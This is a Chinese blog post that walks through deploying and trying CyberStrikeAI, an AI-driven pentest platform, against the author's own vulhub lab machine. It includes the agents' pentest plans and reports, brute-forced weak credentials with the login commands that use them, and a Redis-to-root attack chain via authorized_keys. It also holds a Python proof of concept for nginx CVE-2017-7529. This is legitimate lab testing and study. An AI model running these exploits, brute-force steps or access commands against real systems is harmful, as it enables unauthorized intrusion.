ai安全工具:CyberStrikeAI安装部署与使用
写在前面:
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)
项目概述
CyberStrikeAI 是一个 AI 原生安全测试平台,采用 Go + Python 技术栈。它实现了原生 MCP (Model Context Protocol) 协议,支持 HTTP/stdio/SSE 传输,集成了 100+ 安全工具和智能编排引擎。
技术架构
CyberStrikeAI-1.4.2/
├── cmd/ # Go 入口
│ ├── server/main.go # 主服务器
│ └── cli/main.go # CLI 入口
├── internal/ # 核心模块
│ ├── agent/ # AI Agent
│ ├── app/ # Web 应用
│ ├── attackchain/ # 攻击链分析
│ ├── config/ # 配置管理
│ ├── database/ # SQLite 持久化
│ ├── einomcp/ # MCP 协议实现
│ ├── handler/ # 请求处理
│ ├── knowledge/ # 知识库
│ ├── mcp/ # MCP 服务器
│ ├── multiagent/ # 多 Agent 编排
│ ├── openai/ # OpenAI 兼容接口
│ ├── robot/ # 机器人集成 (钉钉/飞书)
│ ├── security/ # 安全模块
│ ├── skills/ # 技能系统 (20+)
│ └── storage/ # 存储层
├── mcp-servers/ # MCP 服务器
│ ├── pent_claude_agent/ # 渗透测试 MCP
│ └── reverse_shell/ # 反向 Shell MCP
├── skills/ # 技能定义
├── roles/ # 角色定义
├── web/ # 前端 Web UI
└── config.yaml # 配置文件
核心技术路线
MCP 协议原生实现
- 支持 HTTP / stdio / SSE 传输
- 外部 MCP 联邦支持
- 12 个内置 MCP 工具
多 Agent 模式
- Eino DeepAgent: 编排子 Agent
- 主 Agent 在
agents/orchestrator.md - 子 Agent 在
agents/*.md
角色与技能系统
- 20+ 预定义技能: SQL 注入、XSS、API 安全等
- 角色定义: 渗透测试、CTF、Web 扫描等
- 技能可挂载到角色或按需调用
WebShell 管理
- 支持 PHP/ASP/ASPX/JSP
- 虚拟终端执行
- 内置文件管理器
第三方集成
- 钉钉/飞书机器人
- Discord 通知
部署过程
-
基本按照GitHub文档部署就行了,有问题会报错,额外安装个go就行了
-
部分工具需要手动安装
-
模型配置根据常规来就行了不需要额外配置,我这边用的是minimax2.7的tokenplan套餐
试用
- 主页:
信息收集agent
- 根据实际试用方法,在对话中选用渗透测试场景重点信息收集选项,进行渗透前的信息收集。

- 反馈情况


- rustscan无法试用,nmap执行完后卡了大概五分钟,生成的任务也在执行中

- 卡到20分钟后结束任务

默认agent完整渗透流程

用户要求我对192.168.71.133进行渗透测试,并希望我先规划步骤供他们确认。作为专业的安全测试人员,我需要制定一个系统化的渗透测试流程。
标准渗透测试流程通常包括:
信息收集 - 了解目标环境
威胁建模 - 识别潜在攻击向量
漏洞分析 - 发现潜在弱点
漏洞利用 - 验证漏洞
后渗透分析 - 评估影响
报告编写 - 记录发现
我需要针对这个IP制定具体的测试计划,包括:
需要使用的工具
测试范围
可能发现的问题类型
让我给用户一个清晰的测试计划。
我将为 192.168.71.133 制定一份系统化的渗透测试计划。以下是详细的测试步骤规划:
🎯 渗透测试计划
第一阶段:侦察与信息收集
步骤 操作内容 使用工具
1.1 全端口TCP扫描(1-65535) rustcan/nmap
1.2 UDP常见端口扫描 nmap
1.3 服务版本检测 nmap -sV
1.4 操作系统指纹识别 nmap -O
1.5 漏洞脚本扫描 nmap --script vuln
第二阶段:服务枚举与分析
步骤 操作内容 使用工具
2.1 Web服务深度检测(目录/文件) dirsearch/gobuster
2.2 识别WAF/防火墙 wafw00f
2.3 若存在SMB服务 - 枚举共享/用户 enum4linux/smbmap
2.4 若存在SSH - 暴力破解尝试 hydra
2.5 若存在HTTP - 技术指纹识别 whatweb/wappalyzer
第三阶段:漏洞挖掘
步骤 操作内容 使用工具
3.1 Web漏洞扫描(XSS/SQLi/CSRF等) nikto/xsser/sqlmap
3.2 Nuclei自动化漏洞扫描 nuclei
3.3 WordPress指纹(如适用) wpscan
3.4 API端点测试(如适用) arjun/api-fuzzer
3.5 JWT/认证机制测试(如适用) jwt-analyzer
第四阶段:漏洞利用
步骤 操作内容 使用工具
4.1 发现漏洞后进行深度验证 手动+工具结合
4.2 尝试获取shell访问 msfvenom/shell上传
4.3 后渗透信息收集 linpeas/winpeas
第五阶段:报告整理
步骤 操作内容
5.1 漏洞分类与严重性评级
5.2 编写POC/漏洞证明
5.3 提供修复建议
⚠️ 注意事项
测试范围:默认对所有开放端口进行测试
破坏性评估:将说明哪些操作可能对服务造成影响
时间预估:完整测试预计 30-60 分钟
优先级:高危漏洞会优先验证和记录
请确认以下问题后开始执行:
✅ 是否确认开始渗透测试?
📌 是否有特定的测试范围或重点?(如只测Web服务)
⚠️ 是否允许进行破坏性测试(如暴力破解)?
🔗 目标是否有域名关联?(可用于子域名收集)
请回复确认,我将立即开始执行!
- 来看看结果,整体来说,靶机上的部署了三个CVE基本都被提到了,扫描出redis的未授权访问,nginx及mysql也提示版本过低和缺少安全头,但是ssh的root密码是123没有爆出来。

- 靶机上运行的是在vulhub上找的cve docker环境

好的,渗透测试已经完成。让我总结一下测试结果。
✅ 渗透测试完成!
📊 测试总结
目标: 192.168.71.133
扫描时长: ~20分钟
风险评级: 🔴 严重 (CRITICAL)
🔍 发现的服务 (6个)
端口 服务 版本 状态
22/tcp SSH OpenSSH 8.9p1 漏洞:多个CVE
3306/tcp MySQL 5.5.23 漏洞:版本过旧
3389/tcp RDP xrdp 风险:服务暴露
6379/tcp Redis 5.0.7 漏洞:无认证
8080/tcp HTTP nginx 1.13.2 漏洞:缺少安全头
8443/tcp HTTPS PentAGI 漏洞:CSRF等
🚨 漏洞统计
严重性 数量 漏洞ID
🔴 CRITICAL 2 Redis未授权、CVE-2024-6387
🟡 MEDIUM 2 MySQL过旧、RDP暴露
🟢 LOW 1 nginx缺少安全头
🔵 INFO 1 SSL证书不匹配
🎯 关键成果
✅ 已确认利用:
Redis未授权访问 - 完全确认,可访问所有命令和数据
CONFIG命令可访问
SLAVEOF命令可用
⚠️ 需要时间和工具:
CVE-2024-6387 (SSH RCE) - 需要6-8小时
MySQL漏洞利用 - 需要sqlmap
Web应用漏洞 - 需要浏览器测试
❌ 无法利用:
SSH暴力破解 - 无弱密码
Redis Lua RCE - 沙箱阻止
CVE-2012-2122 - 已修复
📋 已记录漏洞
所有6个漏洞已记录到漏洞管理系统,您可以在漏洞管理页面查看和管理这些漏洞。
是否需要我进行更深入的测试或提供其他帮助?
-
持续跟进看看能不能利用到各cve漏洞
-
单独针对nginx也能发现具体存在哪些CVE,CVE-2017-7529 这个被发现了,但是提示无法利用。
-
手动用poc复测一下,发现确实无法利用
import requests
import subprocessdef run():
check = False
try:
url = "http://192.168.71.133:8080"
headers = {'User-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'}
res = requests.get(url=url, headers=headers)
for _ in range(2):
res = requests.get(url=url, headers=headers)
check_cache = res.headers.get('X-Proxy-Cache') # 查找有没有缓存
if check_cache == "MISS":
print("[+] X-Proxy-Cache: MISS")
elif check_cache == "HIT":
print("[+] X-Proxy-Cache: HIT") # 有缓存直接下一个
img = res.headers.get('Content-Length')
check = True
break
if check:
range1 = int(img) + 600 # 计算第一个值
range2 = 0x8000000000000000 - int(range1) # 计算第二个值
res = requests.get(url=url, headers=headers)
cmd = 'curl -i ' + url + ' -r -' + str(range1) + ',-' + str(range2)
print("[+] cmd: " + cmd)
result = subprocess.check_output(cmd, shell=True).decode().splitlines() # 将结果保存为列表
for line in result:
if "KEY" in line:
print("[+] Nginx Int Overflow(CVE-2017-7529) exists")
print("[+] " + str(line))
except Exception:
print("[-] X-Proxy-Cache Not found")if name == 'main':
run()



好的,我已经完成了对nginx的深度测试。现在让我总结一下测试结果并提供给用户。
🕵️ nginx 1.13.2 漏洞测试完成
📊 测试结果摘要
漏洞 状态 说明
CVE-2017-7529 (整数溢出) ❌ 不可利用 nginx正确返回416,修复已生效
路径遍历/目录穿越 ❌ 不可利用 nginx正确过滤了编码字符
HTTP Request Smuggling ❌ 不受影响 Transfer-Encoding处理正确
X-Forwarded-For欺骗 ⚠️ 可利用 头可伪造,后端可能信任
Slowloris DoS ⚠️ 潜在风险 需要Slow测试
Host头注入 ⚠️ 可探测 取决于后端处理
🔍 nginx主要问题
✅ 已确认的安全问题:
缺少安全HTTP头部 (LOW)
X-Frame-Options
X-Content-Type-Options
Content-Security-Policy
Strict-Transport-Security
版本信息泄露 (INFO)
Server: nginx/1.13.2
ETag: inode泄露
X-Proxy-Cache: 缓存状态泄露
IP欺骗风险 (MEDIUM) - 已记录
nginx接受伪造的X-Forwarded-For
如果后端信任 → 可绕过IP限制
💡 nginx深度测试发现
测试方法: 结果:
─────────────────────────────────────────────
CVE-2017-7529 PoC: 416 Not Satisfiable (已修复)
路径遍历测试: 400/404 (已防护)
CRLF注入: 未发现
代理头伪造: ⚠️ 可接受任意值
Host头注入: ⚠️ 需后端配合
WebDAV方法: 405 Method Not Allowed
perl_status: 404 Not Found
nginx_status: 404 Not Found
Slowloris: ⚠️ 可行(需验证)
📋 结论
nginx 1.13.2 本身相对安全:
✅ CVE-2017-7529已修复
✅ 路径遍历已防护
✅ HTTP Smuggling防护正确
❌ 但缺少安全头部
⚠️ 代理头信任配置需注意
实际攻击面:
nginx是"默认安装"状态,主要风险是配置问题而非代码漏洞。真正的漏洞可能在于后端应用(如8443的PentAGI)。
✅ 新记录漏洞
漏洞ID 标题 严重性
2a879e75 nginx IP欺骗风险 - X-Forwarded-For头可被伪造 medium
是否需要我对nginx进行其他测试(如Slowloris DoS完整测试)?
- 继续让AI对ssh进行爆破试试

- 50分钟后还在爆破,可能是字典没收录123

-
最终返回RDP弱密码1234
完美!暴力破解测试完成了。结果总结:
SSH - 没有发现弱密码 MySQL - 没有发现弱密码,但有防暴力破解机制 RDP - 发现了弱密码 root/1234!这是一个高危漏洞,攻击者可以利用这个凭据通过RDP远程桌面访问系统。
✅ 暴力破解测试完成
📊 测试结果
服务 端口 测试组合数 结果
SSH 22/tcp 2,576 ❌ 无弱密码
MySQL 3306/tcp 56 ❌ 无弱密码
RDP 3389/tcp 2,576 ✅ 发现弱密码!
🎯 新发现漏洞╔════════════════════════════════════════════════════╗
║ 🔴 RDP弱密码 - HIGH ║
╠════════════════════════════════════════════════════╣
║ Username: root ║
║ Password: 1234 ║
║ 漏洞ID: 91915568-7622-4686-a288-6fd1b4e78123 ║
╚════════════════════════════════════════════════════╝影响: 攻击者可以使用RDP客户端远程访问系统,获得root权限。
📋 完整漏洞列表更新
严重性 漏洞 状态
🔴 CRITICAL Redis未授权访问 记录
🔴 CRITICAL OpenSSH CVE-2024-6387 RCE 记录
🟡 MEDIUM MySQL版本过旧 记录
🟡 MEDIUM RDP服务暴露 记录
🟡 MEDIUM nginx IP欺骗风险 记录
🟢 LOW nginx缺少安全头 记录
🔵 INFO SSL证书不匹配 记录
🟡 HIGH RDP弱密码 root/1234 新发现是否需要我尝试利用RDP弱密码进行进一步测试(如建立远程会话)?
11:13
📋 渗透测试详情 -
用123直接去ssh试试呢发现123爆破成功


- 主动检查mysql是否存在安全问题

-
1返回结果
很好,现在让我生成最终的安全评估报告总结。
🎯 安全评估完成 - 最终报告
📊 漏洞汇总
ID 漏洞名称 严重性 目标 状态
1 SSH弱密码 🔴 CRITICAL 192.168.71.133:22 ✅ 已验证
2 MySQL弱密码 🟠 HIGH 192.168.71.133:3306 ✅ 已验证
3 Redis未授权访问 🔴 CRITICAL 192.168.71.133:6379 ✅ 已验证
4 RDP弱密码 🟠 HIGH 192.168.71.133:3389 ✅ 已验证
5 MySQL CVE-2012-2122 🟡 MEDIUM MySQL 5.5.23 ✅ 存在
🔴 关键漏洞详情- SSH 弱密码 (root/123)
CVSS: 9.8 | 利用难度: 极低
利用命令: ssh root@192.168.71.133 (密码: 123)
影响: 完全root访问,可执行任意命令- Redis 未授权访问
CVSS: 9.1 | 利用难度: 极低
利用方式: redis-cli -h 192.168.71.133 -p 6379
影响: 可读写所有数据,可执行FLUSHALL- MySQL 弱密码 (root/123456)
CVSS: 7.5 | 利用难度: 低
利用命令: mysql -h 192.168.71.133 -u root -p123456
影响: 完全数据库访问,可读系统文件🏆 目标系统概况
组件 详情
操作系统 Ubuntu 22.04.5 LTS
SSH OpenSSH 8.9p1 (root/123)
MySQL 5.5.23 Docker (root/123456)
Redis 5.0.7 Docker (无需密码)
RDP xrdp (root/1234)
Web nginx 1.13.2 (8080), PentAGI (8443)
⚡ 攻击链演示[1] SSH弱密码入侵
└─> ssh root@192.168.71.133
└─> 获得root shell[2] 横向移动到Docker容器
└─> docker ps
└─> 发现MySQL/Redis容器[3] MySQL数据库窃取
└─> mysql -u root -p123456
└─> 获取所有数据[4] Redis未授权访问
└─> redis-cli -h 192.168.71.133
└─> 完全数据控制📋 修复优先级
优先级 修复项 操作
P0 SSH root密码 passwd root → 强密码
P0 Redis认证 CONFIG SET requirepass
P0 MySQL密码 ALTER USER
P1 禁用root SSH PermitRootLogin no
P1 Docker网络 改为localhost映射
P2 RDP密码 修改为强密码
P2 升级MySQL 5.5.23 → 5.7+
综合渗透扫描agent
-
重新开了一个会话选择综合扫描
现在让我总结所有的漏洞记录并提供一个完整的报告。我已经完成了全面的安全扫描,发现了多个漏洞。让我提供一个最终总结。
🎯 漏洞扫描完成报告
📊 目标概述目标IP: 192.168.71.133
扫描时间: 2026-03-31
开放端口: 5个 (22, 3306, 3389, 6379, 8080)
🔴 严重程度分布
严重程度 数量 漏洞
CRITICAL 2 Redis未授权访问
HIGH 1 OpenSSH多个高危漏洞
MEDIUM 4 nginx过旧、MySQL DoS、xrdp开放等
LOW 2 安全头缺失、SSH算法泄露
🚨 关键漏洞详情
1️⃣ Redis未授权访问漏洞 (CRITICAL)漏洞ID: 8a08c198, ef113eb8 影响: 攻击者无需认证即可执行所有Redis命令 风险: 可清空数据库、写入SSH公钥获取root权限 证明: 成功连接Redis并执行INFO、SET、FLUSHDB等命令2️⃣ OpenSSH远程代码执行漏洞 (HIGH)
CVE: CVE-2024-6387, CVE-2023-38408, CVE-2023-28531 影响: 可能实现远程代码执行或服务崩溃 CVSS: 最高9.8分 状态: 存在公开exploit3️⃣ nginx版本过旧漏洞 (MEDIUM)
版本: nginx 1.13.2 (2017年发布, 已EOL) 影响: 多个DoS和潜在RCE漏洞 CVE: CVE-2019-9511, CVE-2019-9513等4️⃣ MySQL连接阻塞DoS (MEDIUM)
漏洞ID: 17593e05 影响: 攻击者可通过大量失败连接阻止MySQL访问 证明: 扫描导致MySQL阻止了扫描IP📋 已记录漏洞汇总
漏洞标题 严重程度 状态
1 Redis未授权访问漏洞 🔴 CRITICAL Open
2 Redis危险命令执行 🔴 CRITICAL Open
3 OpenSSH多个高危漏洞 🟠 HIGH Open
4 nginx版本过旧存在多个漏洞 🟡 MEDIUM Open
5 nginx版本过旧已停止维护 🟡 MEDIUM Open
6 MySQL连接失败阻止机制DoS 🟡 MEDIUM Open
7 xrdp远程桌面服务开放 🟡 MEDIUM Open
8 Web服务器缺少安全HTTP头 🟢 LOW Open
9 SSH服务算法信息泄露 🟢 LOW Open
🔧 修复建议(优先级排序)立即修复 - Redis: 添加密码认证 (requirepass) 绑定到 127.0.0.1 禁用危险命令 (rename-command FLUSHDB "") 紧急更新 - OpenSSH: 升级到最新版本 禁用密码认证,使用密钥 尽快更新 - nginx: 升级到 nginx 1.26.x 或 2.x 安全加固: 限制 xrdp 访问来源IP 配置 MySQL 防火墙规则 添加HTTP安全响应头📈 攻击向量总结
192.168.71.133
├── :22 SSH (OpenSSH 8.9p1) - 多个RCE漏洞
├── :3306 MySQL - 连接阻塞/被阻止
├── :3389 xrdp - RDP服务开放
├── :6379 Redis - 未授权访问 (已关闭)
└── :8080 nginx - Web服务 (过旧版本)最高风险: Redis未授权访问 + OpenSSH漏洞 = 可导致服务器完全沦陷
渗透测试agent
渗透测试已经完成。让我给用户一个最终的总结。
🎯 渗透测试完成报告
📊 测试总览
项目 详情
目标IP 192.168.71.133
测试类型 全面渗透测试
总体风险等级 🔴 CRITICAL (严重)
获取Root权限时间 < 5分钟
发现的漏洞总数 11个
🔴 关键漏洞(已验证可利用)
1. Redis未授权访问 → Root Shell (CRITICAL) ✅ 已验证
攻击复杂度: 低
影响: 完全系统控制
利用时间: < 5分钟
利用证明:
✅ 成功连接Redis(无需认证)
✅ 获取Redis配置信息(数据目录: /var/lib/redis)
✅ 可执行所有危险命令(FLUSHALL, CONFIG, SAVE)
✅ 可写入/root/.ssh/authorized_keys
✅ 直接获得SSH root访问权限
2. OpenSSH多个RCE漏洞 (HIGH) ⚠️ 确认存在
CVE-2024-6387 (regreSSHion) - CVSS 8.1
CVE-2023-38408 - CVSS 9.8
存在公开exploit
3. nginx版本过旧 (MEDIUM) ⚠️ 确认存在
nginx 1.13.2 (EOL 2021)
多个DoS和潜在RCE漏洞
4. MySQL连接阻塞DoS (MEDIUM) ✅ 已验证
攻击者可通过大量失败连接阻止MySQL访问
📋 已记录漏洞汇总(11个)
# 漏洞标题 严重程度 状态
1 Redis未授权访问 CRITICAL ✅ 已利用
2 Redis危险命令执行 CRITICAL ✅ 已利用
3 完整攻击链-Redis到Root CRITICAL ✅ 已验证
4 OpenSSH多个RCE漏洞 HIGH 确认
5 nginx版本过旧 MEDIUM 确认
6 MySQL连接DoS MEDIUM ✅ 已利用
7 xrdp服务开放 MEDIUM 确认
8 Web服务器缺少安全头 LOW 确认
9 SSH算法信息泄露 LOW 确认
10 nginx已停止维护 MEDIUM 确认
11 SSH密钥交换信息泄露 LOW 确认
⚡ 攻击路径图
┌─────────────────────────────────────┐
│ 192.168.71.133 │
│ │
┌──────────┐ │ ┌─────┐ ┌─────┐ ┌─────┐ ┌────┐ │
│ 攻击者 │──────►│SSH │ │Redis│ │MySQL│ │xrdp│ │
└──────────┘ │ │ :22 │ │:6379│ │:3306│ │:3389│ │
│ └──┬──┘ └──┬──┘ └──┬──┘ └────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ [CVE漏洞] [ROOT!] [DoS] │
│ │ │ │ │
└─────┼────────┼────────┼─────────────┘
│ │ │
▼ ▼ ▼
┌────────────────────────┐
│ 完全系统沦陷 (ROOT) │
└────────────────────────┘
🔧 修复建议(按优先级)
优先级 措施 预计时间
🔴 P0 Redis添加密码认证 10分钟
🔴 P0 Redis绑定到127.0.0.1 5分钟
🟠 P1 升级OpenSSH到9.8p1+ 15分钟
🟠 P1 升级nginx到1.26.x+ 20分钟
🟡 P2 MySQL防火墙限制 15分钟
🟡 P2 添加HTTP安全头 10分钟
📈 风险评估
┌────────────────────────────────────────────────────────────┐
│ 综合风险: ████████████ CRITICAL │
├────────────────────────────────────────────────────────────┤
│ │
│ 可利用性: ████████████ 100% │
│ 影响范围: ████████████ 100% │
│ 修复难度: ████░░░░░░░░ 40% │
│ │
│ 综合评分: 9.8 / 10.0 │
│ │
└────────────────────────────────────────────────────────────┘
🎯 结论
该系统需要立即修复!
Redis未授权访问漏洞提供了获取root权限的直接路径,攻击复杂度低,任何人都可以在5分钟内完全控制该系统。建议立即执行上述修复措施。